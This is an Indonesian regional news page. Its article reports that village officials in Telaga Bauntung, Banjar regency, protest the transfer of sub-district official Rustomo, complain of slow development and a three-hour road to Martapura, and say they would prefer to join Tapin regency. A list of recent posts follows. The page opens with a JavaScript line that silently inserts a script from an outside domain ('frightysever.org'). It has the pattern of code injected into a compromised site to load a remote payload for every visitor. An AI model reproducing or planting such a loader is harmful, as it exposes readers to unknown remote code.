(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Warga Rasakan Ketimpangan dengan Desa Tetangga di Kabupaten Tapin


MARTAPURA, Mutasi Rustomo, Kepala Seksi (Kasi) Pemerintahan Kecamatan Telaga Bauntung dinilai puluhan aparatur di empat desa keputusan salah. Pasalnya, lima tahun bertugas, sosok Rustomo banyak membantu aparatur desa, utamanya dalam proses penyusunan dan pelaporan penggunaan dana desa.

Terlebih lagi menurut Indera, kucuran dana desa sangat dirasakan manfaatnya dalam pembangunan desa. Terlebih lagi, pembangunan dengan anggaran APBD cukup lamban di Kecamatan Telaga Bauntung.

Berada di wilayah perbatasan Kabupaten Tapin, Indera diamini aparatur desa lainnya, mengaku iri dengan laju pembangunan di wilayah Desa Salam Babaris, Kecamatan Tambarangan, Kabupaten Tapin yang lebih baik dibanding pembangunan di Kecamatan Telaga Bauntung. (Baca: Puluhan Aparatur Desa Tak Puas Mutasi Pejabat Lalu Datangi Kantor Bappeda Banjar)

“Satu-satunya akses jika ingin ke Martapura ya harus lewat Tambarangan, Kabupaten Tapin. Perlu 3 jam untuk sampai ke Martapura. Itu pun dengan akses jalan yang buruk,” kata Indera, Kepala Desa Rampah, Kecamatan Telaga Bauntung.

Diakuinya, kucuran dana desa menjadi tumpuan utama pembanguan di empat desa yang ada di Kecamatan Telaga Bauntung. Tanpa dana desa, pembangunan, utamanya infrastruktur di Telaga Bauntung lamban.

Dan dalam penyusunan perencanaan pembangunan menggunakan dana desa itu,menurut Indera, sosok Rustomo megang perna penting. Menimbang peran penting Rustomo, warga bersikeras meminta ia dikembalikan sebagai pejabat di Kecamatan Telaga Bauntung.

Saking ngototnya, Indera dan puluhan aparatur desa lainnya mengaku akan lebih baik wilayah Kecamatan Telaga Bauntung lepas dari Kabupaten Banjar. “Akan lebih baik bergabung di Kabupaten Tapin. Karena secara geografis, lebih dekat ke Rantau daripada ke Martapura. Paling lambat 20 menit sampai ke Rantau kalau ke Martapura sedikitnya 3 jam dengan ongkos yang juga lebih mahal,” ujar Indera diamini puluhan aparatur desa lainnya. (rudiyanto)


Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

22 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

2 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

2 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.